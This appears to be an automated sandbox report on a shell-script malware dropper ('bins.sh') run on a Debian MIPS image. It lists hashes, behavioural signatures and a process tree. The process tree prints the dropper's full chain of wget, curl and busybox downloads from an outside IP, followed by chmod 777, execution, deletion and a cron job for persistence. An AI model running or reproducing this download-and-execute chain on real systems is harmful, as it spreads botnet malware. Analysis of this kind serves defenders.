Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-11-2024 19:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6949807f763e2d0774e325b916dd0898

  • SHA1

    eebdc0a1509618093370f26bae1f6b65feda6571

  • SHA256

    8bdb9a1f78d4395a40db41c5757ca2eda75a4d5a96966ce5e506fd2191f25ffd

  • SHA512

    e9c89ca7f13edb512eb6b29ed5f089a56fe2baabf8bc906e2ac51209f202a82a8e3fa6a453c57eeb0439b49a836ed07c85a7d1e2fac0b26e3b8da29459e92ab2

  • SSDEEP

    192:mLvr08gJp7I427s0M7gQ1COtJpYa6Gq74oTIPbM4Uc6PXPDPev3JS7ckrPbMuUck:y0gFDzV/Dev3Mc3/Dev36X

Malware Config

Signatures

  • Contacts a large (1675) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://87.120.125.191/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://87.120.125.191/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://87.120.125.191/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Executes dropped EXE
              PID:755
            • /bin/rm
              rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://87.120.125.191/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:760
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Writes file to tmp directory
                PID:777
              • /bin/chmod
                chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • File and Directory Permissions Modification
                PID:781
              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Executes dropped EXE
                PID:782
              • /bin/rm
                rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                  PID:786
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Writes file to tmp directory
                  PID:787
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod 777 tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • File and Directory Permissions Modification
                  PID:812
                • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  ./tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Executes dropped EXE
                  PID:813
                • /bin/rm
                  rm tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                    PID:816
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Writes file to tmp directory
                    PID:818
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Writes file to tmp directory
                    PID:819
                  • /bin/chmod
                    chmod 777 ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:820
                  • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    ./ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Executes dropped EXE
                    PID:821
                  • /bin/rm
                    rm ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                      PID:823
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:824
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:825
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:826
                    • /bin/chmod
                      chmod 777 b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • File and Directory Permissions Modification
                      PID:827
                    • /tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      ./b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:829
                    • /bin/rm
                      rm b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                      2⤵
                      • System Network Configuration Discovery
                      PID:832
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • Writes file to tmp directory
                      PID:834
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • Writes file to tmp directory
                      PID:842
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • Writes file to tmp directory
                      PID:855
                    • /bin/chmod
                      chmod 777 FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • File and Directory Permissions Modification
                      PID:859
                    • /tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      ./FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                      • Executes dropped EXE
                      PID:860
                    • /bin/rm
                      rm FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Writes file to tmp directory
                        PID:872
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Writes file to tmp directory
                        PID:873
                      • /bin/chmod
                        chmod 777 icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • File and Directory Permissions Modification
                        PID:874
                      • /tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        ./icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:875
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:877
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:878
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:879
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:880
                            • /bin/rm
                              rm icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
                              2⤵
                                PID:882
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
                                2⤵
                                  PID:885

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /var/spool/cron/crontabs/tmp.M2sdbI

                                Filesize

                                210B

                                MD5

                                de00e52ca0d121f17b8cc29c2a1d38b4

                                SHA1

                                da4b9d853d5156d78cf104447a1d37d80138005f

                                SHA256

                                73a1fa5fbf4a1f75534e952b7d7f7337183ded101a6bdcd0393c2d31c3e6167b

                                SHA512

                                04970f994a27e31693804cd7b6ab89d05012e3c191e8aa2eed14dd9e60f3e04c5c933f45070aced75adadf0febb6b4b119a5a5fa9a53bd8fff68e2869f3d43c8